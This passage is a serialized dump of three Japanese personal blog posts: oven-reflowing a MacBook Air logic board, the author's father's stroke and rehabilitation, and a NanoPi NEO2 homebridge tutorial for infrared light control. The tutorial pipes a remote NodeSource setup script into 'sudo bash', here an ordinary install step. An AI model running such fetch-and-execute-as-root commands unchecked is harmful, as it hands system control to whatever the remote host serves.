href=\"//www.slideshare.net/naotokawahara3\" target=\"_blank\">nkawahara Kawahara</a></strong> </div>\n\n是非ともスライドに目を通してほしいが、関心が薄い方のために簡単に内容を要約すると、いくつもの故障したGPUのリフローを家庭で行い、再生した結果を評価したものである。\n対象は**はんだクラックが起きていると想定されるGPU**で、家庭でのリフローではオーブンを用い、はんだの融点を考慮して行っていた。\nこのスライドにある融点に関する情報及び加熱手順を参考に、オーブンでの加熱によるMacBook AirのBGAメモリのリフローを試みることとした。\n\n\n\n### 分解\n\nMacBook Airはデスクトップマシン向けGPUのように基板が丸出しではないので、分解しロジックボードを取り出す必要がある。\n2017年となった今ではインターネットが極度に発達しているため、「macbook air 2013 logic board repair」などと検索すれば一つの苦労もなくロジックボードの取り出し方解説がみつかった。\n\n<iframe src=\"https://jp.ifixit.com/Guide/embed/16945\" width=\"600\" height=\"438\" allowfullscreen frameborder=\"0\"></iframe>\n\n手持ちの特殊精密ドライバーを用いて手順に従い、分解を進めること10分。いとも簡単にロジックボードの取り外しが完了した。\n\n<a href=\"https://www.amazon.co.jp/dp/B01MUCQB1O//ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=582cbadddc622cf4b063d65f217b6ddc\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01MUCQB1O&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n\n### 加熱\n\nロジックボードの取り外しができたので、オーブンの予熱を開始した。\nAppleは鉛フリーはんだを用いているため、鉛フリーはんだの融点に達する温度での加熱をする必要がある。\n\n[環境 - より安全な素材 - Apple(日本)](https://www.apple.com/jp/environment/safer-materials/)\n\n先ほどのスライドより、鉛フリーはんだの融点は216℃~220℃と示されているため、 __220℃で4分__ の加熱をすることとした。\n\n\n\n予熱をしている間に、グリスをふき取り、アルミホイルで包むなどの加熱への準備を進めた。\n予熱が終わり4分間の加熱をし、自然冷却を行い待つこと30分。\n分解とは逆の手順で組み込み、恐る恐る電源を入れた。\n\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">んんんwwww焼いたら動いた <a href=\"https://t.co/9Aks3CT0cu\">pic.twitter.com/9Aks3CT0cu</a></p>&mdash; ふぇねっくのやべーやつ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/908343638614085632\">2017年9月14日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n起動した。\n\n## まとめ\n\n動作はするようになったものの、このブログ記事を書いている最中にも突然電源が落ちるような症状が頻発している。\nたまったもんじゃない。\nこのままではまともに使い続けられないので、データを取り出したらMacBook Proでも買い足すとする。\n"]}],[0,{"slug":[0,"2017/10/24/a-log/"],"data":[0,{"title":[0,"父が脳出血で倒れた"],"date":[3,"2017-10-24T09:05:02.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"brain"]]]}],"content":[0,"\n-- 一つ記録をまとめておこうと思う。\n\nC93の当落が控えるこの時期、冬コミという単語を耳にすると昨年の締め切り間際のことを思い出す。C91の割増入稿もデッドラインを迎えるころ、母から一本の電話があった。\n\n> 「父が倒れた」\n\n理解ができるまで寸秒ではあったが、大変に混乱した。電話越しに聞こえる救急車のサイレンによって、言葉通り「倒れた」ということを理解させられるまで。\n原稿を放り出し、急遽地元の病院に向かうと、そこには集中治療室で横たわる父の姿があった。一命はとりとめたものの、意識はほとんどない状態で。高次脳機能障害を背負って。\n\n[高次脳機能障害 - Wikipedia](https://ja.wikipedia.org/wiki/%E9%AB%98%E6%AC%A1%E8%84%B3%E6%A9%9F%E8%83%BD%E9%9A%9C%E5%AE%B3)\n\n病名は脳卒中。これは総称なので正確な病名ではないが、そのうちの脳出血である。ここ数年父は高血圧が続いており、薬を処方されていた。効果のほどはわからないが、薬による降圧では抑えられなかったようだ。\n\n[脳内出血 - Wikipedia](https://ja.wikipedia.org/wiki/%E8%84%B3%E5%86%85%E5%87%BA%E8%A1%80)\n\n言わずもがな、この日を境に父はこれまでとは打って変わっていた。\n病院についたその時は目を開けるものの、かろうじて瞼を閉じられるくらいの力しかなかった。名前を尋ねても応答はなく、目を合わせても表情一つ変わらない。ただ、生きているだけの姿だった。\nここから今日に至るまで、さまざまな展開があった。\n\n\n\n師走の数日間、病院に足繁く通ううちに容体は徐々に良くなってきた。全身は動かないが、首を振ることができるようになり、名前を呼ぶとうなずくようになった。しかし赤の他人の名前を呼んでも頷いてしまうように、ただただ聞こえているという応答をしているだけであった。\n\nC91で頒布側に回るということもあり、責任を果たすためにも東京に帰ったが、年始にまた地元へと戻った。出血が収まったこともあってか、この数日間の間に顕著に回復が見られた。ゼリーを食べられるようになり、名前の質問に関しては「はい」「いいえ」の回答ができるようになっていた。噛んで食べるよう言われたゼリーをすぐに飲み込んでしまう姿をみて、まだ言葉の理解はごく一部しか回復していないようであった。\n\nしばらく日にちが経ち、顔を見せるたび笑顔を取り戻すようにもなってきた。言葉がでないものの、しゃべろうとする意志を感じることもあり、動きを取り戻さないと思われていた身体も左側は徐々に動くような変化が見られた。\n\n医師からの説明とともに頭部CTの画像を見せてもらったところ、左脳で脳出血を起こしていた。左脳の神経が破壊すると右半身が片麻痺となるとの説明を受けた。麻痺の影響は片側だけの限定的なものもあってか、左手を使って病院内を車いすで移動できるようになってきていた。麻痺に加えて言葉の理解や発言が難しい、所謂失語症も左脳の損傷が大きいため起きているとのことだった。事実、会話の部分に関しては倒れる前の状態に戻るのは絶望的だと思われるほどに支離滅裂であるなど、言葉に長時間詰まる状態が長く続いていた。\n\n[失語症 - Wikipedia](https://ja.wikipedia.org/wiki/%E5%A4%B1%E8%AA%9E%E7%97%87)\n\n倒れて搬送された病院では半身不随や失語症のリハビリテーションは専門として行っていないため、リハビリテーション病院に移動するまでの間は、家族でサポートしていくこととした。ここで役に立ったのは横浜コミュニケーション障害研究会の教材とiPad miniである。\n\n[失語症訓練教材のご案内(横浜コミュニケーション障害研究会)](http://my.reset.jp/comcom/sozai/linlk23.html)\n\n前者はPDFなどの形式で有志の方々が作成された失語症のためのドリルである。一見幼稚な教材にも見えるが、父の失語症の症状は「物の認識はできるものの、単語などの言葉が出てこない」というものである(本人談)。\nりんごの画像があって、その名称を答えさせるような問題は、単語を脳の奥から引き出し思い出すトレーニングとしてとても効果的であった(本人談)。また、単純な短文を構成するものもとても身になったという。\n後者は父の要望で、テレビ等の日常の言葉を多く耳にしたい願いをかなえるために新たに購入したものだ。iPad miniのCellularモデルを購入し、IIJmioのSIMカードを契約してAbemaTVがみられるようにセットアップした。\n半身不随は耳にも影響があるようで、左耳しか聞こえないとの話であったため、ステレオイヤホンの片方を切断したものを用意した。\n余談だが、右側が麻痺している点は舌の味覚や視野の部分もそうだと言う(本人談)。味覚は左側のほうが味をよく感じ、視野に関しては両目で見えているものの、見えている範囲の右側がホワイトアウトしているとのことだ。\niPad miniはこれ以外にも筆談などに利用でき、意外と利用範囲は広かった。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">障害者支援アプリ、どれも高額なのでオープンソースで作りたい</p>&mdash; ヾ(๑╹◡╹)ノ&quot; (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/811898845017739265?ref_src=twsrc%5Etfw\">2016年12月22日</a></blockquote>\n\n父が倒れた数日後、失語症は後遺症として残ると聞かされた時、上記のような考えをついた。横浜コミュニケーション障害研究会の教材に使われているような[IPAの教育用の無償素材](https://www2.edu.ipa.go.jp/)等を組み合わせ、1日でプロトタイプを作り上げたほどだ。\n回復のペースが開発のペースを大幅に上回っていたため表に出せるような完成度までは達していないが、時間と十分に暮らせる資金があれば完成させたいと思っている。\n\n春、リハビリテーション病院に移れる程度に体調は安定し、いよいよ本格的なリハビリが始まることとなった。これから長い時間をかけて理学療法士(PT)や作業療法士(OT)、言語聴覚士(ST)などの専門スタッフによって大幅な機能改善を図ることとなる。\nここでのリハビリにより、会話はまずまずできるようになり、杖をついての歩行ができるようになるほどに回復した。\n\nリハビリテーションの時間は長く続き、そろそろ一年が経とうとしている。職業準備訓練も控え、失語症と半身の麻痺を抱えながらも、日常生活にとどまらず仕事に復帰する意気込みである。\n会話もほどほどに成立するようになった。倒れてからの父はもともと温厚な性格だったものの、それに拍車をかけるほど穏やかな性格に変わった。\n今日から数か月ののち、長かった入院生活は終わりとなり、両親は実家で生活を送ることとなるのだが、そこで大きな問題が待ち受けていた。\n実家は3階建てで階段が多くあるため、かろうじて杖を突いて歩けるような状態では日常生活がままならないのだ。\n\nこの問題を家族で議論したところ、フラットに移動できる分譲マンションを購入する運びとなった。\nただ、マンションを購入するといっても、現状仕事も手につかない状態の父には障害者手帳が発行されていることもあり、住宅ローンを組むことが困難である。\nそのため、長男である私がマンションを購入することとなった。\nこの手続きのためここ数日奔走していたが、つい先ほど契約が完了した。ここまで育ててもらった恩もあることなので、せめてもの親孝行でもある。\n引き渡しはまだのため、ローンの返済は始まってはいないが、そのころには収入額を真剣に考え、場合によっては年収を理由に転職を実行に移すだろう。\n話は逸れるが住宅ローンを組む際、十分な収入があっても勤続年数が短いと学歴等も問われるようだ。\nまた、リボルビング払いやショッピングローンをしていなかったことが審査によい影響をあたえていた点は、自分をほめるばかりである。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">リボと分割とキャッシングは🙅</p>&mdash; ヾ(๑╹◡╹)ノ&quot; (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/869715276291428352?ref_src=twsrc%5Etfw\">2017年5月31日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">会社で住宅ローンの金利見てたらみんなから「フェネックと住むマンション買うんだっけ?」みたいなこと言われた</p>&mdash; ヾ(๑╹◡╹)ノ&quot; (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/915231172153679872?ref_src=twsrc%5Etfw\">2017年10月3日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">住宅ローン、仮審査の様子だと3000万くらいならぽっと出るみたいだけど5000万超を出すと勤続年数が〜とか言われてしまう🤔</p>&mdash; ヾ(๑╹◡╹)ノ&quot; (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/921213206072254464?ref_src=twsrc%5Etfw\">2017年10月20日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n技術は進歩し、生活は快適になるばかりである。AIスピーカーが雨後の筍のように登場し、世間をにぎわしているのも肌で感じるほどだ。\nこういった技術を障害者支援に活用できる可能性は大いにある。健常者が自身の生活をより快適にする方向にばかり注目されるが、障害者の生活のギャップを埋める方法にも活用できるものである。\n父はこれから日常生活で不自由に感じる部分は多く出てくるだろう。こういった部分を、持つ技術力によって少しずつでも減らしていきたいと思うばかりである。\nまずはAIスピーカー、どこまで人を幸せにできるか。この技術力をもって挑戦してみたい。\n\n\n-- 以上、記録としてまとめておく。\n"]}],[0,{"slug":[0,"2017/11/10/nanopineo2-homekit/"],"data":[0,{"title":[0,"NanoPi NEO2とhomebridgeとSiriで照明操作"],"date":[3,"2017-11-09T17:13:29.000Z"],"image":[0,"/assets/images/2017/11/10/applewatch-nanopineo2.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Home"]]],"tags":[1,[[0,"homebridge"],[0,"siri"],[0,"homekit"],[0,"ir"],[0,"nanopi-neo2"],[0,"sbc"]]]}],"content":[0,"\nこの3連休に部屋を見渡していたところ、今夏に大陸から届いた荷物を開封することなく放置していたことに気づいたので開封してみました。\n中からはNanoPi NEO2が6個出てきました。すごい。\n\nせっかくなのでこのボードでIoTに挑戦することとしました。IoTと言ってもIoT(笑)のほうではなく、実用的なものを目指して。\nひとまずの目標はiOSのホーム(HomeKit)で部屋の照明をON/OFFすることにします。\n\n## 目次\n\n\n<style>\n[alt=\"screenshot\"] {\n max-width: 477px;\n width: 30%;\n}\n</style>\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"tl\" dir=\"ltr\">NanoPI NEO2 x6 <a href=\"https://t.co/ec4PeO7Abq\">pic.twitter.com/ec4PeO7Abq</a></p>&mdash; おねえちゃんの人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/926970965786898432?ref_src=twsrc%5Etfw\">2017年11月5日</a></blockquote>\n\n\n## 情報整理\n\n### NanoPi NEO2\n\n[FriendlyARM - NanoPi NEO2](http://nanopi.io/nanopi-neo2.html)\n\nNanoPi NEO2については上記公式サイトを見ていただければいいのですが、簡単に説明すると「巷で流行りの[Allwinner H5](http://linux-sunxi.org/H5)搭載のGbE付き超小型ARMボード」です。\n小型ARMボード界でここ数年のトレンドが来ている[Allwinner](https://en.wikipedia.org/wiki/Allwinner_Technology)のSoCを積んだ低価格ボードの一つですが、特徴的なのはGbEを積んでいる点と無駄な画面出力を備えていない点、そして40mm四方と超小型である点です。\nFriendlyARMの直販で購入しましたが、最近では少々値が張るものの[秋月電子でも取り扱いがある](http://akizukidenshi.com/catalog/g/gM-12302/)ようです。\nちなみに秋月ではヒートシンクが別売りとなっていますが、プロセッサのH5はとても熱を持つのでセットで買うことをお勧めします。\n今回まとめて購入したときの価格は、1個あたり15USDでピンヘッダーにヒートシンクに送料足すとだいたい2500円くらい。やすい。\nスペックはベンチマークを見るにお値段以上。\n\n[NanoPi NEO 2 Board Benchmarks with Ubuntu 16.04.2 using Linux 3.10 and Linux 4.10](https://www.cnx-software.com/2017/04/02/nanopi-neo-2-board-benchmarks-with-ubuntu-16-04-2-using-linux-3-10-and-linux-4-10/)\n\n詳しいピン配置やスペックなどの情報はWikiにまとまっています。\n\n[NanoPi NEO2 - FriendlyARM WiKi](http://wiki.friendlyarm.com/wiki/index.php/NanoPi_NEO2)\n\n\n### ホーム(HomeKit)\n\n- [iOS - ホーム - Apple(日本)](https://www.apple.com/jp/ios/home/)\n- [HomeKit - Apple Developer](https://developer.apple.com/homekit/)\n\nHomeKit、いまではiOSに標準搭載されているホームアプリから家電を操作するためのあれやこれやを詰め込んだ(適当)フレームワークのことです。\nホームアプリはiPhoneやApple Watchで家電を操作することができるもので、対応の電化製品を購入すればリモコンいらず、Siriに話しかけることで家電を思うがままにコントロールできるというもの。\n\nAppleのこういったプラットフォームを取り囲むものはプロプライエタリなものが多く、HomeKitもライセンス契約をしないと技術情報を知りえないといった扱いです。\nしかし好奇心旺盛なエンジニアは黙っておらず、プロトコルの解析を経てこれをOSSで実装したものが世にはあります。\n\n[KhaosT/HAP-NodeJS: Node.js implementation of HomeKit Accessory Server.](https://github.com/KhaosT/HAP-NodeJS)\n\nこのOSSが参考にしていたプロトコル解析をした調査レポートはプロプライエタリな部分を突っついたものであったため、[AppleからのDMCA](https://github.com/github/dmca/blob/master/2014/2014-11-04-Apple.md)を突きつけられていたこともあり、公開された当初は _触れてはいけない_ OSSでもありました。\n時が経ち、とくにこのOSSに対してのAppleの大きな動きはなく、主だって問題もおきていないことから、近年はこのOSSを使ったソフトウェアが多く登場しています。\nそのうちの一つ、HomeKit対応アクセサリを自分で定義しホームアプリから操作できるようにしてしまうhomebridgeなるOSSが人気を集めています。\n\n[nfarina/homebridge: HomeKit support for the impatient](https://github.com/nfarina/homebridge)\n\n今回はこれを導入して、照明を操作しようと企みました。\n\n### 部屋の照明\n\n部屋の照明はリモコンでON/OFFできるものに取り変えてあり、[スイッチをEjectで押す](https://eject.kokuda.org/examples/)必要もないため、赤外線で操作するようにしました。\n学習リモコンの要領ですね。\n\nNanoPi NEO2に搭載されているAllwinner H5は赤外線信号をサポートしているため、対応のカーネルモジュールが導入されていればlircで簡単に信号の調査ができます。\nただしここで注意しなければいけないのが、H5による赤外線信号のサポートはレシーバーとしてのみであり、トランスミッターとしては機能しないというところです。\nこのことはデータシートにも記載があります。\n\n[File:Allwinner H5 Datasheet V1.0.pdf - FriendlyARM WiKi](http://wiki.friendlyarm.com/wiki/index.php/File:Allwinner_H5_Datasheet_V1.0.pdf)\n\nそのため、Raspberry Piのときは簡単にできていたirsendによる送信ではなく、GPIOを制御して赤外線LEDを点滅させることで送信を行います。\nただ、リモコンの赤外線は単なるLEDの点滅ではなく、38kHzでデューティ比1/3の変調がかっています。\nよく参照される以下のサイトに目を通して、どういう形で最終的に送信すればいいかを知っておく必要があります。\n\n- [フォーマット](http://www.asahi-net.or.jp/~gt3n-tnk/IR_TX1.html)\n- [赤外線リモコンの通信フォーマット](http://elm-chan.org/docs/ir_format.html)\n- [小型・長時間動作の 赤外線リモコン送信器の製作[PDF]](http://toragi.cqpub.co.jp/Portals/0/backnumber/2004/11/p280-281.pdf)\n\n## NanoPi NEO2のセットアップ\n\n最低限のソフトウェアが動作するようにセットアップします。\n\n### ROMを焼く\n\nまずはNanoPi NEO2が動く状態にする必要があります。\n\nWikiに記載の[ダウンロードリンク](https://www.mediafire.com/folder/ah4i6w029912b/NanoPi-NEO2)からOfficial-ROMをダウンロードしてきます。\nこの三連休でダウンロードできた最新版である、 nanopi-neo2_ubuntu-core-xenial_4.11.2_20170909.img.zip を[Etcher](https://etcher.io/)を利用してmicroSDHCカードに書き込みました。\n\n### SSHでつなげる\n\n焼いたmicroSDHCカードを本体にセットし、有線LANケーブルとmicroUSBケーブルを接続して起動します。\n無事に起動するとめちゃくちゃまぶしい青色LEDが点滅を始めるので、その状態になったらログインを試行します。\nログイン方法はシリアル接続でもよいけれど、公式イメージは最初からsshdが起動しているので、任意の方法でIPv4アドレスを割り出すなどしてssh接続を行います。\nユーザ名とパスワードはWikiに書いてある通り、pi/pi。\n\n\n\n### Node.js入れる\n\nhomebridgeはNode.jsで動作するソフトウェアなので、Node.jsを導入しておく必要があります。\nNode.jsはUbuntu/Debian向けにARM64パッケージをリポジトリとして提供しているので、公式の手順にしたがってリポジトリを追加、Node.jsパッケージのインストールをします。\n\n[Installing Node.js via package manager \\| Node.js](https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions)\n\nただ、このNanoPi NEO2のUbuntu Coreにはcurlが入っていないので、まずcurlをインストールしてから上記サイトの手順に従って8.x系をインストールしました。ついでにbuild-essentialも。\n\n```\n$ sudo apt update\n$ sudo apt install -y curl\n$ curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -\n$ sudo apt install -y nodejs build-essential\n```\n\n### homebridge入れる\n\nhomebridgeもこのとき導入しておきます。\n\n[nfarina/homebridge: HomeKit support for the impatient](https://github.com/nfarina/homebridge)\n\n```\n$ sudo apt install -y libavahi-compat-libdnssd-dev\n$ sudo npm install -g --unsafe-perm homebridge\n$ npm install -g homebridge-cmdswitch2\n```\n\n\n### WiringNP入れる\n\n赤外線LEDを点滅させるためにGPIOを制御するためのライブラリを導入する必要があります。\nRaspberry PiではGPIOを制御するためのライブラリとして[WiringPi](http://wiringpi.com/)があります。\nこれをベースにNanoPi NEO2向けに変更を加えたものとして、WiringNPが提供されています。\n\n[friendlyarm/WiringNP: This is a GPIO access library for NanoPI. It is based on the WiringOP for Orange PI which is based on original WiringPi for Raspberry Pi.](https://github.com/friendlyarm/WiringNP)\n\n導入は簡単で、README.mdに記載のInstallationの章に従うだけでした。\n\n導入後は、WiringNPが動作するかをgpioコマンドで確認しておきます。\n\n```\n$ gpio readall\n +-----+-----+----------+------+---+-NanoPi-NEO2--+------+----------+-----+-----+\n | BCM | wPi | Name | Mode | V | Physical | V | Mode | Name | wPi | BCM |\n +-----+-----+----------+------+---+----++----+---+------+----------+-----+-----+\n | | | 3.3V | | | 1 || 2 | | | 5V | | |\n | 12 | 8 | GPIOA12 | ALT5 | 0 | 3 || 4 | | | 5V | | |\n | 11 | 9 | GPIOA11 | ALT5 | 0 | 5 || 6 | | | 0v | | |\n | 203 | 7 | GPIOG11 | OUT | 1 | 7 || 8 | 0 | ALT5 | GPIOG6 | 15 | 198 |\n | | | 0v | | | 9 || 10 | 0 | ALT5 | GPIOG7 | 16 | 199 |\n | 0 | 0 | GPIOA0 | OFF | 0 | 11 || 12 | 1 | OUT | GPIOA6 | 1 | 6 |\n | 2 | 2 | GPIOA2 | OFF | 0 | 13 || 14 | | | 0v | | |\n | 3 | 3 | GPIOA3 | OFF | 0 | 15 || 16 | 0 | OFF | GPIOG8 | 4 | 200 |\n | | | 3.3v | | | 17 || 18 | 0 | ALT2 | GPIOG9 | 5 | 201 |\n | 64 | 12 | GPIOC0 | ALT4 | 0 | 19 || 20 | | | 0v | | |\n | 65 | 13 | GPIOC1 | ALT4 | 0 | 21 || 22 | 1 | OUT | GPIOA1 | 6 | 1 |\n | 66 | 14 | GPIOC2 | ALT4 | 0 | 23 || 24 | 1 | OUT | GPIOC3 | 10 | 67 |\n +-----+-----+----------+------+---+----++----+---+------+----------+-----+-----+\n | BCM | wPi | Name | Mode | V | Physical | V | Mode | Name | wPi | BCM |\n +-----+-----+----------+------+---+-NanoPi-NEO2--+------+----------+-----+-----+\n\n +-----+----NanoPi-NEO2 Debug UART-+----+\n | BCM | wPi | Name | Mode | V | Ph |\n +-----+-----+----------+------+---+----+\n | 4 | 17 | GPIOA4 | ALT5 | 0 | 37 |\n | 5 | 18 | GPIOA5 | ALT5 | 0 | 38 |\n +-----+-----+----------+------+---+----+\n ```\n \n## 照明のリモコン信号の調査\n\nいろいろと準備は整ったので照明のリモコン信号を調査します。\n\n### ブレッドボードの配線\n\nlircを使ってリモコンの信号を調査するために、赤外線受光モジュールを適切なGPIOピンに接続する必要があります。\nNanoPi NEO2ではmicroSDスロット側の一列に並んだGPIO2にあるGPIOL11ピンに接続します。\n\n[File:NEO2 pinout-02.jpg - FriendlyARM WiKi](http://wiki.friendlyarm.com/wiki/index.php/File:NEO2_pinout-02.jpg)\n\n\n\n[Fritzing](http://fritzing.org)めんどくさかったので写真で。\n\n配線ついでなので、送信用の赤外線LEDもつけておきました。\n今は動作確認ができればいいので、WiringNPで制御する赤外線LEDはGPIO1側から適当に選んで繋げました。\nまた時間があるときにはんだ付けするので。\n\n使ったパーツは以下の通り。\n\n- 特性のわからない赤外線LED\n- [トランジスタ 2SC2655L-Y 50V2A (10個入): 半導体 秋月電子通商 電子部品 ネット通販](http://akizukidenshi.com/catalog/g/gI-08746/)\n- [赤外線リモコン受信モジュール PL-IRM2121(38kHz): センサ一般 秋月電子通商 電子部品 ネット通販](http://akizukidenshi.com/catalog/g/gI-01570/)\n- 200Ω 抵抗器\n- 10Ω 抵抗器\n\n赤外線LEDは部品箱に転がってた適当なものを使ったので、はんだ付けするときは高出力広角なものに換えるつもり。\n\n\n### 制御信号の取得\n\nいつも通りlircのmode2で信号間隔を取得して記録しておきます。\nlsmodでは以下の通り、標準でlircに関するモジュールが読み込まれているのですが、肝心のlircが入っていないので導入します。\n\n```\n$ lsmod\nModule Size Used by\nir_lirc_codec 16384 0\nlirc_dev 20480 1 ir_lirc_codec\nsunxi_cir 16384 0\nrc_core 32768 4 ir_lirc_codec,lirc_dev,sunxi_cir\ng_mass_storage 16384 0\nusb_f_mass_storage 36864 2 g_mass_storage\nlibcomposite 45056 2 g_mass_storage,usb_f_mass_storage\n```\n\nその前にドライバがロードされているかを確認しておきます。\n\n```\npi@NanoPi-NEO2:~$ dmesg | grep -i ir\n[ 0.000000] psci: PSCIv0.2 detected in firmware.\n[ 0.000000] psci: Trusted OS migration not required\n[ 0.000000] Kernel command line: console=ttyS0,115200 earlyprintk root=/dev/mmcblk0p2 rootfstype=ext4 rw rootwait fsck.repair=yes panic=10 fbcon=map:0\n[ 0.000000] Virtual kernel memory layout:\n[ 0.000000] NR_IRQS:64 nr_irqs:64 0\n[ 0.287252] Installing knfsd (copyright (C) 1996 okir@monad.swb.de).\n[ 0.303204] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled\n[ 0.324436] 1c28000.serial: ttyS0 at MMIO 0x1c28000 (irq = 28, base_baud = 1500000) is a U6_16550A\n[ 1.088352] 1c28400.serial: ttyS1 at MMIO 0x1c28400 (irq = 29, base_baud = 1500000) is a U6_16550A\n[ 1.366078] ehci-platform 1c1a000.usb: irq 11, io mem 0x01c1a000\n[ 1.427398] ohci-platform 1c1a400.usb: irq 12, io mem 0x01c1a400\n[ 1.528336] ads7846 spi0.1: touchscreen, irq 142\n[ 1.626433] sunxi-mmc 1c0f000.mmc: base:0xffff000008de9000 irq:9\n[ 1.645143] hidraw: raw HID events driver (C) Jiri Kosina\n[ 1.976006] ehci-platform 1c1b000.usb: irq 13, io mem 0x01c1b000\n[ 2.022733] ehci-platform 1c1c000.usb: irq 15, io mem 0x01c1c000\n[ 2.070564] ehci-platform 1c1d000.usb: irq 17, io mem 0x01c1d000\n[ 2.119590] ohci-platform 1c1b400.usb: irq 14, io mem 0x01c1b400\n[ 2.209522] ohci-platform 1c1c400.usb: irq 16, io mem 0x01c1c400\n[ 2.301451] ohci-platform 1c1d400.usb: irq 18, io mem 0x01c1d400\n[ 5.079032] systemd[1]: Started Forward Password Requests to Wall Directory Watch.\n[ 6.606621] rc rc0: sunxi-ir as /devices/platform/soc/1f02000.ir/rc/rc0\n[ 6.607660] Registered IR keymap rc-empty\n[ 6.607918] input: sunxi-ir as /devices/platform/soc/1f02000.ir/rc/rc0/input2\n[ 6.608238] sunxi-ir 1f02000.ir: initialized sunXi IR driver\n[ 6.616820] lirc_dev: IR Remote Control driver registered, major 246\n[ 6.622722] rc rc0: lirc_dev: driver ir-lirc-codec (sunxi-ir) registered at minor = 0\n[ 6.622732] IR LIRC bridge handler initialized\n[ 11.769570] RTL8211E Gigabit Ethernet 1c30000.ethernet-0:00: attached PHY driver [RTL8211E Gigabit Ethernet] (mii_bus:phy_addr=1c30000.ethernet-0:00, irq=-1)\npi@NanoPi-NEO2:~$\n```\n\n`sudo apt install lirc`するとき、cursesでlircのドライバとトランスミッター、スペシャルファイルに関してプロンプトがでるので、順に\n\"Linux input layer (/dev/input/eventX)\"、\"None\"、\"/dev/lirc0\"を選択してインストールを完了します。\nぶっちゃけ適当でいいんですけどね、特にデーモンで動かすことを想定していないので。\n\nmode2が動作するようになったら、照明のONとOFFをそれぞれ別のファイルに書き出しておきます。\n\n```\n$ sudo mode2 --raw -d /dev/lirc0 | tee light-off\nspace 16777215\npulse 2072\nspace 1008\npulse 5656\nspace 1032\npulse 1520\nspace 536\npulse 1520\nspace 536\npulse 488\n\n.\n.\n.\n\n\n```\n\n\n### 制御信号の送信\n\n書き出したmode2の出力データを元に、赤外線LEDを点滅させるコードをWiringNPを用いて適当に書き上げました。\nいい感じにビルドしてLEDのつながるGPIOピン番号と先のファイルを引数に与え、照明が点灯/消灯することを確認します。\n\n<script src=\"https://gist.github.com/mzyy94/5cf28ac56553142db9364d4178fc5ccc.js?file=transmitter.c\"></script>\n\n<script src=\"https://gist.github.com/mzyy94/5cf28ac56553142db9364d4178fc5ccc.js?file=hb.sh\"></script>\n\n## HomeKitで照明を操作\n\n照明をNanoPi NEO2で制御できることがわかったので、これをHomeKitでコントロールできるようにします。\n\n### homebridgeの設定・起動\n\nhomebridgeの設定はconfig.jsonファイルに記述する形で行います。\n記述方法に関してはそれぞれ調べてもらうとして、今回設定したconfig.jsonを記しておきます。\n\n<script src=\"https://gist.github.com/mzyy94/f7f008f50c9a9d7cd6d0922527ca722e.js?file=config.json\"></script>\n\n先ほど作った適当なコマンドをたたくため、homebridge-cmdswitch2を使ってます。\n設定ファイルを **~/.homebridge/config.json** に配置したら、`homebridge`として起動するだけでホームアプリなどからの接続を待機し始めます。\n\nいい感じに起動するようだったら、よしなにsystemdのserviceを作って放り込んでおくといいと思う。\n\n### ホームアプリの設定\n\niPhoneを用いてホームアプリにhomebridgeで起動してるアクセサリを登録します。\n最近のhomebridgeは優秀で、起動時にクールな接続用のQRコードを表示してくれるようになりました。\n昔は微妙なPIN表示画面があっただけで、読み込みできなくて手動で入力する必要があったりしたものでした。\n相変わらずMFi認証を取得していない「認定されていないアクセサリ」として表示されますが、そこは仕方ないのでこのまま追加します。\n\n\n\nアクセサリの追加ができたら、ブリッジとアクセサリを部屋に割り当てておきます。\n今回の設定ではLightはデフォルトでスイッチとして認識されましたが、ライトとしてアイコンが表示されるようにタイプを変更しておきます。\n\n\n\n\nそうすると自宅にアクセサリが追加されます。\n\n\n\n#### シーンの設定\n\nホームアプリにはまとめて複数の機器をコントロールできるシーンというものがあります。\nSiriでお願いしたりボタンをタップしたり、また後述のオートメーションによって、このシーンを動作させることができます。\nまだ今は1つしかアクセサリがないのであまり意味ないですが、寝るときや家に帰ってきたときに電気と、\nこれからの季節暖房も一緒につけるようなこともあるので、これらのシーンを設定しておきます。\n\n\n\n##### ただいま\n\n電気をつけるタイミングは生活リズムからして、日の入りを過ぎてから家に帰ってきたときです。\nそのためのシーンとして、「ただいま」という直球なネーミングのシーンがホームアプリには用意されています。\n\n\n\nこれを設定し、ただいまのシーンを動作させたときに電気が付くようにしておきます。\n\n##### おやすみ\n\n電気を消すタイミングも夜間の外出を除けば就寝時と決まっているので、こちらも「おやすみ」シーンに設定しておきます。\n\n\n\n#### オートメーションの設定\n\n先に設定したシーンやアクセサリを、ある条件に従って自動で動作させるオートメーションというものがホームアプリにはあります。\n寝る時間はSiriにおやすみと言ってるので自動化は必要ないですが、夜間に家に帰ってきたときは「ただいま」のシーンを自動で動作させてもらいたいものです。\nそんな用途にぴったりのオートメーションが「人が到着」オートメーションです。\n_誰か_ が任意の _場所_ にある _時間帯_ に到着した場合、オートメーションが作動するという、まさに求めていたものです。\n__誰かが__ の部分には設定しているiPhoneが、 __場所__ は自宅に、 __時間帯__ 